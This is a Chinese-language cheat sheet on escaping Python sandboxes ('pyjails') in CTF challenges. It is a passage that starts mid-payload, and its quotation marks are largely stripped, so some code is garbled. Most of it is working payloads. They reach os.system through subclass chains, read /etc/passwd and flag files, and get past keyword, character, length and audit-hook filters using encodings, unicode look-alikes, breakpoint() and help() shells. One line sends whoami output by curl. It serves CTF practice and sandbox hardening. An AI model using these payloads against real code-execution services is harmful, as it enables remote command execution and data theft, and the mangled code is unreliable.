.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[__builtins__][file](E:/passwd).read().__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[__builtins__][file](E:/passwd).read()当然如果过滤的是 __class__ 或者 __mro__ 这样的属性名就无法采用变形来绕过了。
base64 变形
base64 也可以运用到其中 import base64base64.b64encode(__import__)
X19pbXBvcnRfXwbase64.b64encode(os)
b3M__builtins__.__dict__[X19pbXBvcnRfXw.decode(base64)](b3M.decode(base64)).system(ls)
app.py jail.py逆序 eval()imaohw(metsys.)so(__tropmi__[::-1])
rootexec()imaohw(metsys.so ;so tropmi[::-1])
root注意 exec 与 eval 在执行上有所差异。
进制转换
八进制
exec(print(RCE); __import__(os).system(ls))
exec(\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51)exp:
s eval(list(dict(v_a_r_sTrue))[len([])][::len(list(dict(aa()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i1))[False][::len(list(dict(aa()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_41))[False][::len(list(dict(aa()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkgTrue))[False])
octal_string .join([f\\{oct(ord(c))[2:]} for c in s])
print(octal_string)十六进制
exec(\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29) exp:
s eval(eval(list(dict(v_a_r_sTrue))[len([])][::len(list(dict(aa()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i1))[False][::len(list(dict(aa()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_41))[False][::len(list(dict(aa()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkgTrue))[False]))
octal_string .join([f\\x{hex(ord(c))[2:]} for c in s])
print(octal_string)xxxxxxxxxx s eval(eval(list(dict(v_a_r_sTrue))[len([])][::len(list(dict(aa()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i1))[False][::len(list(dict(aa()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_41))[False][::len(list(dict(aa()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkgTrue))[False]))octal_string .join([f\\x{hex(ord(c))[2:]} for c in s])print(octal_string)1 2 3 s eval(eval(list(dict(v_a_r_sTrue))[len([])][::len(list(dict(aa()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i1))[False][::len(list(dict(aa()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_41))[False][::len(list(dict(aa()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkgTrue))[False])) octal_string .join([f\\x{hex(ord(c))[2:]} for c in s]) print(octal_string) 其他编码
hex、rot13、base32 等。
过滤了属性名或者函数名
在 payload 的构造中我们大量的使用了各种类中的属性例如 __class__、__import__ 等。
getattr 函数
getattr 是 Python 的内置函数用于获取一个对象的属性或者方法。其语法如下
getattr(object, name[, default]) 这里object 是对象name 是字符串代表要获取的属性的名称。如果提供了 default 参数当属性不存在时会返回这个值否则会抛出 AttributeError。 getattr({},__class__)
class dictgetattr(os,system)
built-in function systemgetattr(os,system)(cat /etc/passwd)
root:x:0:0:root:/root:/usr/bin/zshgetattr(os,system111,os.system)(cat /etc/passwd)
root:x:0:0:root:/root:/usr/bin/zsh这样一来就可以将 payload 中的属性名转化为字符串字符串的变换方式多种多样更易于绕过黑名单。
__getattribute__ 函数
__getattribute__ 于它定义了当我们尝试获取一个对象的属性时应该进行的操作。
它的基本语法如下
class MyClass:def __getattribute__(self, name):getattr 函数在调用时实际上就是调用这个类的 __getattribute__ 方法。 os.__getattribute__
method-wrapper __getattribute__ of module object at 0x7f06a9bf44f0os.__getattribute__(system)
built-in function system__getattr__ 函数
__getattr__ 是 Python 的一个特殊方法当尝试访问一个对象的不存在的属性时它就会被调用。它允许一个对象动态地返回一个属性值或者抛出一个 AttributeError 异常。
如下是 __getattr__ 方法的基本形式
class MyClass:def __getattr__(self, name):return You tried to get name在这个例子中任何你尝试访问的不存在的属性都会返回一个字符串形如 “You tried to get X”其中 X 是你尝试访问的属性名。
与 __getattribute__ 不同__getattr__ 只有在属性查找失败时才会被调用这使得 __getattribute__ 可以用来更为全面地控制属性访问。
如果在一个类中同时定义了 __getattr__ 和 __getattribute__那么无论属性是否存在__getattribute__ 都会被首先调用。只有当 __getattribute__ 抛出 AttributeError 异常时__getattr__ 才会被调用。
另外所有的类都会有__getattribute__属性而不一定有__getattr__属性。
__globals__ 替换
__globals__ 可以用 func_globals 直接替换
.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__(__globals__)__mro__、__bases__、__base__互换
三者之间可以相互替换
.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__过滤 import
python 中除了可以使用 import 来导入还可以使用 __import__ 和 importlib.import_module 来导入模块
__import__
1 __import__(os) importlib.import_module
注意importlib 需要进行导入之后才能够使用,所以有些鸡肋。。。
import importlib
importlib.import_module(os).system(ls)__loader__.load_module
如果使用 audithook 的方式进行过滤,上面的两种方法就无法使用了,但是 __loader__.load_module 底层实现与 import 不同, 因此某些情况下可以绕过. __loader__.load_module(os)
module os (built-in)过滤了 []
如果中括号被过滤了则可以使用如下的两种方式来绕过
调用__getitem__()函数直接替换调用 pop()函数用于移除列表中的一个元素默认最后一个元素并且返回该元素的值替换
.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__[__builtins__][__import__](os).system(ls)# __getitem__()替换中括号[]
.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__(__builtins__).__getitem__(__import__)(os).system(ls)# pop()替换中括号[]结合__getitem__()利用
.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop(__builtins__).pop(__import__)(os).system(ls)getattr(.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,__builtins__).__getitem__(__import__)(os).system(ls)过滤了 ‘’
str 函数
如果过滤了引号我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str() 函数获取字符串然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。 ().__class__.__new__
built-in method __new__ of type object at 0x9597e0str(().__class__.__new__)
built-in method __new__ of type object at 0x9597e0str(().__class__.__new__)[21]
wstr(().__class__.__new__)[21]str(().__class__.__new__)[13]str(().__class__.__new__)[14]str(().__class__.__new__)[40]str(().__class__.__new__)[10]str(().__class__.__new__)[3]
whoamichr 函数
也可以使用 chr 加数字来构造字符串 chr(56)
8chr(100)
dchr(100)*40
ddddddddddddddddddddddddddddddddddddddddlist dict
使用 dict 和 list 进行配合可以将变量名转化为字符串但这种方式的弊端在于字符串中不能有空格等。
list(dict(whoami1))[0] __doc__
__doc__ 变量可以获取到类的说明信息从其中索引出想要的字符然后进行拼接就可以得到字符串
().__doc__.find(s)
().__doc__[19]().__doc__[86]().__doc__[19]bytes 函数
bytes 函数可以接收一个 ascii 列表然后转换为二进制字符串再调用 decode 则可以得到字符串
bytes([115, 121, 115, 116, 101, 109]).decode() 过滤了
过滤了 号主要影响到了构造字符串假如题目过滤了引号和加号构造字符串还可以使用 join 函数初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__ 中取
str().join(().__doc__[19],().__doc__[23]) 过滤了数字
如果过滤了数字的话可以使用一些函数的返回值获取。
例如
0int(bool([]))、Flase、len([])、any(())
1int(bool([]))、True、all(())、int(list(list(dict(a၁())).pop()).pop())
有了 0 之后其他的数字可以通过运算进行获取
0 ** 0 1
1 1 2
2 1 3
2 ** 2 4 当然也可以直接通过 repr 获取一些比较长字符串然后使用 len 获取大整数。 len(repr(True))
4len(repr(bytearray))
19第三种方法可以使用 len dict list 来构造,这种方式可以避免运算符的的出现
0 - len([])
2 - len(list(dict(aa()))[len([])])
3 - len(list(dict(aaa()))[len([])])第四种方法: unicode 会在后续的 unicode 绕过中介绍
过滤了空格
通过 ()、[] 替换
过滤了运算符 可以用 in 来替换
or 可以用 、-、|来替换
例如
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:ans i[0]i[1] or i[2]i[3]print(bool(eval(f{i[0]i[1]} | {i[2]i[3]})) ans)print(bool(eval(f- {i[0]i[1]} - {i[2]i[3]})) ans)print(bool(eval(f{i[0]i[1]} {i[2]i[3]})) ans)and 可以用、 *替代
例如
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:ans i[0]i[1] and i[2]i[3]print(bool(eval(f{i[0]i[1]} {i[2]i[3]})) ans)print(bool(eval(f{i[0]i[1]} * {i[2]i[3]})) ans)过滤了 ()
利用装饰器 利用魔术方法例如 enum.EnumMeta.__getitem__
f 字符串执行
f 字符串算不上一个绕过更像是一种新的攻击面通常情况下用来获取敏感上下文信息,例如获取环境变量
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}也可以直接 RCE f{__import__(os).system(whoami)}
root f{__builtins__.__import__(os).__dict__[popen](ls).read()}
app.py jail.py过滤了内建函数
eval list dict 构造
假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等则可以使用 eval 进行绕过。 eval(str)
class streval(bool)
class booleval(str)
class str这样就可以将函数名转化为字符串的形式进而可以利用字符串的变换来进行绕过。 eval(list(dict(s_t_r1))[0][::2])
class str这样一来只要 list 和 dict 没有被禁就可以获取到任意的内建函数。如果某个模块已经被导入了则也可以获取这个模块中的函数。
过滤了.和 如何获取函数
通常情况下我们会通过点号来进行调用__import__(binascii).a2b_base64
或者通过 getattr 函数getattr(__import__(binascii),a2b_base64)
如果将,和.都过滤了则可以有如下的几种方式获取函数 内建函数可以使用eval(list(dict(s_t_r1))[0][::2]) 这样的方式获取。 模块内的函数可以先使用__import__导入函数然后使用 vars() j进行获取 vars(__import__(binascii))[a2b_base64]
built-in function a2b_base64unicode 绕过
Python 3 开始支持非ASCII字符的标识符也就是说可以使用 Unicode 字符作为 Python 的变量名函数名等。Python 在解析代码时使用的 Unicode Normalization Form KC (NFKC) 规范化算法这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。 eval val
True 相似 unicode 寻找网站http://shapecatcher.com/ 可以通过绘制的方式寻找相似字符
个人珍藏相似 unicode脚本
for i in range(128,65537):tmpchr(i)try:res tmp.encode(idna).decode(utf-8)if(-) in res:continueprint(U:{} A:{} ascii:{} .format(tmp, res, i))except:pass下面是 0-9,a-z 的 unicode 字符 下划线可以使用对应的全角字符进行替换
使用时注意第一个字符不能为全角否则会报错
1 2 3 4 5 6 7 print(_name_) __main__ print(name_) File stdin, line 1 print(name_) ^ SyntaxError: invalid character (UFF3F) 需要注意的是某些 unicode 在遇到 lower() 函数时也会发生变换因此碰到 lower()、upper() 这样的函数时要格外注意。
这个方法学名叫做Non-ASCII Identifies 一道有趣的pyjail题目分析 - 先知社区 (aliyun.com) 绕过命名空间限制
部分限制
有些沙箱在构建时使用 exec 来执行命令exec 函数的第二个参数可以指定命名空间通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。
def _hook_import_(name, *args, **kwargs):module_blacklist [os, sys, time, bdb, bsddb, cgi,CGIHTTPServer, cgitb, compileall, ctypes, dircache,doctest, dumbdbm, filecmp, fileinput, ftplib, gzip,getopt, getpass, gettext, httplib, importlib, imputil,linecache, macpath, mailbox, mailcap, mhlib, mimetools,mimetypes, modulefinder, multiprocessing, netrc, new,optparse, pdb, pipes, pkgutil, platform, popen2, poplib,posix, posixfile, profile, pstats, pty, py_compile,pyclbr, pydoc, rexec, runpy, shlex, shutil, SimpleHTTPServer,SimpleXMLRPCServer, site, smtpd, socket, SocketServer,subprocess, sysconfig, tabnanny, tarfile, telnetlib,tempfile, Tix, trace, turtle, urllib, urllib2,user, uu, webbrowser, whichdb, zipfile, zipimport]for forbid in module_blacklist:if name forbid: # dont let user import these modulesraise RuntimeError(No you can\ import {0}!!!.format(forbid))# normal modules can be importedreturn __import__(name, *args, **kwargs)def sandbox_exec(command): # sandbox user inputresult 0__sandboxed_builtins__ dict(__builtins__.__dict__)__sandboxed_builtins__[__import__] _hook_import_ # hook importdel __sandboxed_builtins__[open]_global {__builtins__: __sandboxed_builtins__}...exec command in _global # do calculate in a sandboxed ...沙箱首先获取 __builtins__然后依据现有的 __builtins__ 来构建命名空间。修改 __import__ 函数为自定义的_hook_import_删除 open 函数防止文件操作exec 命令。
绕过方式
由于 exec 运行在特定的命名空间里可以通过获取其他命名空间里的 __builtins__这个__builtins__保存的就是原始__builtins__的引用比如 types 库来执行任意命令
1 2 __import__(types).__builtins__ __import__(string).__builtins__ 完全限制(no builtins)
如果沙箱完全清空了 __builtins__, 则无法使用 import,如下 eval(__import__, {__builtins__: {}},{__builtins__: {}})
Traceback (most recent call last):File stdin, line 1, in moduleFile string, line 1, in module
NameError: name __import__ is not definedeval(__import__)
built-in function __import__ exec(import os)exec(import os,{__builtins__: {}},{__builtins__: {}})
Traceback (most recent call last):File stdin, line 1, in moduleFile string, line 1, in module
ImportError: __import__ not found这种情况下我们就需要利用 python 继承链来绕过其步骤简单来说就是通过 python 继承链获取内置类, 然后通过这些内置类获取到敏感方法例如 os.system 然后再进行利用。
具体原理可见Python沙箱逃逸小结
常见的一些 RCE payload 如下:
# os
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if x.__name___wrap_close][0][system](ls)# subprocess
[ x for x in .__class__.__base__.__subclasses__() if x.__name__ Popen][0](ls)# builtins
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if x.__name___GeneratorContextManagerBase and os in x.__init__.__globals__ ][0][__builtins__]# help
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if x.__name___GeneratorContextManagerBase and os in x.__init__.__globals__ ][0][__builtins__][help][ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if x.__name___wrap_close][0][__builtins__]#sys
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if wrapper not in str(x.__init__) and sys in x.__init__.__globals__ ][0][sys].modules[os].system(ls)[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if _sitebuiltins. in str(x) and not _Helper in str(x) ][0][sys].modules[os].system(ls)#commands (not very common)
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if wrapper not in str(x.__init__) and commands in x.__init__.__globals__ ][0][commands].getoutput(ls)#pty (not very common)
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if wrapper not in str(x.__init__) and pty in x.__init__.__globals__ ][0][pty].spawn(ls)#importlib
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if wrapper not in str(x.__init__) and importlib in x.__init__.__globals__ ][0][importlib].import_module(os).system(ls)
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if wrapper not in str(x.__init__) and importlib in x.__init__.__globals__ ][0][importlib].__import__(os).system(ls)#imp
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if imp. in str(x) ][0][importlib].import_module(os).system(ls)
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if imp. in str(x) ][0][importlib].__import__(os).system(ls)#pdb
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if wrapper not in str(x.__init__) and pdb in x.__init__.__globals__ ][0][pdb].os.system(ls)# ctypes
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if wrapper not in str(x.__init__) and builtins in x.__init__.__globals__ ][0][builtins].__import__(ctypes).CDLL(None).system(ls /.encode())# multiprocessing
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if wrapper not in str(x.__init__) and builtins in x.__init__.__globals__ ][0][builtins].__import__(multiprocessing).Process(targetlambda: __import__(os).system(curl localhost:9999/?awhoami)).start()常见的一些 File payload 如下:
操作文件可以使用 builtins 中的 open也可以使用 FileLoader 模块的 get_data 方法。
[ x for x in .__class__.__base__.__subclasses__() if x.__name__FileLoader ][0].get_data(0,/etc/passwd)绕过多行限制
绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如 eval, 中间如果存在或者换行会报错。 eval(__import__(os);print(1))
Traceback (most recent call last):File stdin, line 1, in moduleFile string, line 1__import__(os);print(1)exec
exec 可以支持换行符与; eval(exec(__import__(\os\)\\nprint(1)))
1compile
compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码.
eval(eval(compile(print(hello world); print(heyy), stdin, exec)))海象表达式
海象表达式是 Python 3.8 引入的一种新的语法特性用于在表达式中同时进行赋值和比较操作。
海象表达式的语法形式如下
expression : value if condition else value借助海象表达式我们可以通过列表来替代多行代码 eval([a:__import__(os),b:a.system(id)])
uid1000(kali) gid0(root) groups0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
[module os (frozen), 0]绕过长度限制
BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制
eval((__import__(re).sub(r[a-z0-9],,input(code ).lower()))[:130])题目限制不能出现数字字母构造的目标是调用 open 函数进行读取
print(open(bytes([102,108,97,103,46,116,120,116])).read())函数名比较好绕过直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).
# f 102 333-231 ord(ō)-ord(ç)
# a 108 333-225 ord(ō)-ord(á)
# l 97 333-236 ord(ō)-ord(ì)
# g 103 333-230 ord(ō)-ord(æ)
# . 46 333-287 ord(ō)-ord(ğ)
# t 116 333-217 ord(ō)-ord(Ù)
# x 120 333-213 ord(ō)-ord(Õ)print(open(bytes([ord(ō)-ord(ç),ord(ō)-ord(á),ord(ō)-ord(ì),ord(ō)-ord(æ),ord(ō)-ord(ğ),ord(ō)-ord(Ù),ord(ō)-ord(Õ),ord(ō)-ord(Ù)])).read())但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号 ;。
这种情况下我们可以添加一个 exec。然后将 ord 以及不变的 a(ō) 进行替换。这样就可以构造一个满足条件的 payload
exec(aord;ba(ō);print(open(bytes([b-a(ç),b-a(á),b-a(ì),b-a(æ),b-a(ğ),b-a(Ù),b-a(Õ),b-a(Ù)])).read())) 但其实尝试之后发现这个 payload 会报错原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化避免 lower 产生干扰可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)
当然可以直接使用 input 函数来绕过长度限制。
打开 input 输入
如果沙箱内执行的内容是通过 input 进行传入的话不是 web 传参我们其实可以传入一个 input 打开一个新的输入流然后再输入最终的 payload这样就可以绕过所有的防护。
以 BYUCTF2023 jail a-z0-9 为例
eval((__import__(re).sub(r[a-z0-9],,input(code ).lower()))[:130]) 即使限制了字母数字以及长度我们可以直接传入下面的 payload注意是 unicode
(()) 这段 payload 打开 input 输入后我们再输入最终的 payload 就可以正常执行。
__import__(os).system(whoami) 打开输入流需要依赖 input 函数no builtins 的环境中或者题目需要以 http 请求的方式进行输入时这种方法就无法使用了。
下面是一些打开输入流的方式:
sys.stdin.read()
注意输入完毕之后按 ctrld 结束输入 eval(sys.stdin.read())
__import__(os).system(whoami)
root
0sys.stdin.readline() eval(sys.stdin.readline())
__import__(os).system(whoami)sys.stdin.readlines() eval(sys.stdin.readlines()[0])
__import__(os).system(whoami)在python 2中input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。
breakpoint 函数
pdb 模块定义了一个交互式源代码调试器用于 Python 程序。它支持在源码行间设置有条件的断点和单步执行检视堆栈帧列出源码列表以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试可以在程序控制下调用。
在输入 breakpoint() 后可以代开 Pdb 代码调试器在其中就可以执行任意 python 代码 ()
--Return--stdin(1)module()-None
(Pdb) __import__(os).system(ls)
a-z0-9.py exp2.py exp.py flag.txt
0
(Pdb) __import__(os).system(sh)
$ ls
a-z0-9.py exp2.py exp.py flag.txt换一种方式先用step进入模块可以使用list查看当前代码块发现输入的内容被input_data变量接收 这个时候我们就可以把变量input_data的值重新赋值之前是breakpoint()函数。 help 函数
help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
当我们输入 help 时注意要进行 unicode 编码help 函数会打开帮助不编码也能打开
() 然后输入 os,此时会进入 os 的帮助文档。
help os 然后再输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash
help os
$ ls
a-z0-9.py exp2.py exp.py flag.txt此外也可以 查看sys模块信息收集了解到当查看的模块的内容过多时会使用more命令翻页查看内容造成溢出执行命令 同时使用__main__可以查看当前模块的信息包括全局变量 得到key
字符串叠加
参考[CISCN 2023 初赛]pyshell通过_不断的进行字符串的叠加再利用eval()进行一些命令的执行。
我们想执行的代码__import__(os).popen(tac flag).read()
__import__
_(os).p
_open(ta
_c flag)
_.read()变量覆盖与函数篡改
在 Python 中sys 模块提供了许多与 Python 解释器和其环境交互的功能包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.
sys.modules 存放了现有模块的引用, 通过访问 sys.modules[__main__] 就可以访问当前模块定义的所有函数以及全局变量 aaa bbbdef my_input():
... dict_global dict()
... while True:
... try:
... input_data input( )
... except EOFError:
... print()
... break
... except KeyboardInterrupt:
... print(bye~~)
... continue
... if input_data :
... continue
... try:
... complie_code compile(input_data, string, single)
... except SyntaxError as err:
... print(err)
... continue
... try:
... exec(complie_code, dict_global)
... except Exception as err:
... print(err)
... import syssys.modules[__main__]
module __main__ (built-in)dir(sys.modules[__main__])
[__annotations__, __builtins__, __doc__, __loader__, __name__, __package__, __spec__, aaa, my_input, sys]sys.modules[__main__].aaa
bbb除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数等,这只是一个思路.
总体来说,只要获取了某个函数或者变量就可以篡改, 难点就在于获取.
利用 gc 获取已删除模块
这个思路来源于 writeup by fab1ano – github
这道题的目标是覆盖 __main__ 中的 __exit 函数,但是题目将 sys.modules[__main__] 删除了,无法直接获取.
for module in set(sys.modules.keys()):if module in sys.modules:del sys.modules[module]gc 是Python的内置模块全名为”garbage collector”中文译为”垃圾回收”。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。
Python 使用了引用计数作为其主要的内存管理机制同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数让你可以直接控制这个循环垃圾回收器。
下面是一些 gc 模块中的主要函数
gc.collect(generation2)这个函数会立即触发一次垃圾回收。你可以通过 generation 参数指定要收集的代数。Python 的垃圾回收器是分代的新创建的对象在第一代经历过一次垃圾回收后仍然存活的对象会被移到下一代。gc.get_objects()这个函数会返回当前被管理的所有对象的列表。gc.get_referrers(*objs)这个函数会返回指向 objs 中任何一个对象的对象列表。
exp 如下
for obj in gc.get_objects():if __name__ in dir(obj):if __main__ in obj.__name__:print(Found module __main__)mod_main objif os obj.__name__:print(Found module os)mod_os obj
mod_main.__exit lambda x : print([] bypass)在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.
利用 traceback 获取模块
这个思路来源于 writeup by hstocks – github
主动抛出异常, 并获取其后要执行的代码, 然后将__exit 进行替换, 思路也是十分巧妙.
try:raise Exception()
except Exception as e:_, _, tb sys.exc_info()nxt_frame tb.tb_frame# Walk up stack frames until we find one which# has a reference to the audit functionwhile nxt_frame:if audit in nxt_frame.f_globals:breaknxt_frame nxt_frame.f_back# Neuter the __exit functionnxt_frame.f_globals[__exit] print# Now were free to call whatever we wantos.system(cat /flag*)但是实际测试时使用 python 3.11 发现 nxt_frame tb.tb_frame 会触发 object.__getattr__ hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本)中适用 绕过 audit hook
Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同且可能会随着 Python 解释器的更新而变动。
Python 中的审计事件包括但不限于以下几类
import发生在导入模块时。open发生在打开文件时。write发生在写入文件时。exec发生在执行Python代码时。compile发生在编译Python代码时。socket发生在创建或使用网络套接字时。os.systemos.popen等发生在执行操作系统命令时。subprocess.Popensubprocess.run等发生在启动子进程时。
PEP 578 – Python Runtime Audit Hooks
calc_jail_beginner_level6 这道题中使用了 audithook 构建沙箱,采用白名单来进行限制.audit hook 属于 python 底层的实现,因此常规的变换根本无法绕过.
题目源码如下:
import sysdef my_audit_hook(my_event, _):WHITED_EVENTS set({builtins.input, builtins.input/result, exec, compile})if my_event not in WHITED_EVENTS:raise RuntimeError(Operation not permitted: {}.format(my_event))def my_input():dict_global dict()while True:try:input_data input( )except EOFError:print()breakexcept KeyboardInterrupt:print(bye~~)continueif input_data :continuetry:complie_code compile(input_data, string, single)except SyntaxError as err:print(err)continuetry:exec(complie_code, dict_global)except Exception as err:print(err)def main():WELCOME _ _ _ _ _ _ _ __| | (_) (_) (_) | | | | | / /| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_| _ \ / _ \/ _ | | _ \| _ \ / _ \ __| | |/ _ | | | | |/ _ \ \ / / _ \ | _ \| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) ||_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/__/ | _/ ||___/ |__/ CODE dict_global dict()while True:try:input_data input( )except EOFError:print()breakexcept KeyboardInterrupt:print(bye~~)continueif input_data :continuetry:complie_code compile(input_data, string, single)except SyntaxError as err:print(err)continuetry:exec(complie_code, dict_global)except Exception as err:print(err)print(WELCOME)print(Welcome to the python jail)print(Lets have an beginner jail of calc)print(Enter your expression and I will evaluate it for you.)print(White list of audit hook builtins.input,builtins.input/result,exec,compile)print(Some code of python jail:)print(CODE)my_input()if __name__ __main__:sys.addaudithook(my_audit_hook)main()这道题需要绕过的点有两个: 绕过 import 导入模块. 如果直接使用 import,就会触发 audithook __import__(ctypes)Operation not permitted: import绕过常规的命令执行方法执行命令. 利用 os, subproccess 等模块执行命令时也会触发 audithook
调试技巧
本地调试时可以在 hook 函数中添加打印出 hook 的类型.
def my_audit_hook(my_event, _):print(f[] {my_event}, {_})WHITED_EVENTS set({builtins.input, builtins.input/result, exec, compile})if my_event not in WHITED_EVENTS:raise RuntimeError(Operation not permitted: {}.format(my_event))这样在测试 payload 时就可以知道触发了哪些 hook import os
[] builtins.input/result, (import os,)
[] compile, (bimport os, string)
[] exec, (code object module at 0x7f966795bec0, file string, line 1,)__loader__.load_module 导入模块
__loader__.load_module(fullname) 也是 python 中用于导入模块的一个方法并且不需要导入其他任何库. __loader__.load_module(os) __loader__ 实际上指向的是 _frozen_importlib.BuiltinImporter 类,也可以通过别的方式进行获取 ().__class__.__base__.__subclasses__()[84]
class _frozen_importlib.BuiltinImporter__loader__
class _frozen_importlib.BuiltinImporter().__class__.__base__.__subclasses__()[84].__name__
BuiltinImporter[x for x in ().__class__.__base__.__subclasses__() if BuiltinImporter in x.__name__][0]
class _frozen_importlib.BuiltinImporter__loader__.load_module 也有一个缺点就是无法导入非内建模块. 例如 socket __loader__.load_module(socket)
Traceback (most recent call last):File stdin, line 1, in moduleFile frozen importlib._bootstrap, line 290, in _load_module_shimFile frozen importlib._bootstrap, line 721, in _loadFile frozen importlib._bootstrap, line 676, in _load_unlockedFile frozen importlib._bootstrap, line 573, in module_from_specFile frozen importlib._bootstrap, line 776, in create_module
ImportError: socket is not a built-in module_posixsubprocess 执行命令
_posixsubprocess 模块是 Python 的内部模块提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 _posixsubprocess.
该模块的核心功能是 fork_exec 函数fork_exec 提供了一个非常底层的方式来创建一个新的子进程并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.
在我本地的 Python 3.11 中具体的函数声明如下:
def fork_exec(__process_args: Sequence[StrOrBytesPath] | None,__executable_list: Sequence[bytes],__close_fds: bool,__fds_to_keep: tuple[int, ...],__cwd_obj: str,__env_list: Sequence[bytes] | None,__p2cread: int,__p2cwrite: int,__c2pred: int,__c2pwrite: int,__errread: int,__errwrite: int,__errpipe_read: int,__errpipe_write: int,__restore_signals: int,__call_setsid: int,__pgid_to_set: int,__gid_object: SupportsIndex | None,__groups_list: list[int] | None,__uid_object: SupportsIndex | None,__child_umask: int,__preexec_fn: Callable[[], None],__allow_vfork: bool,
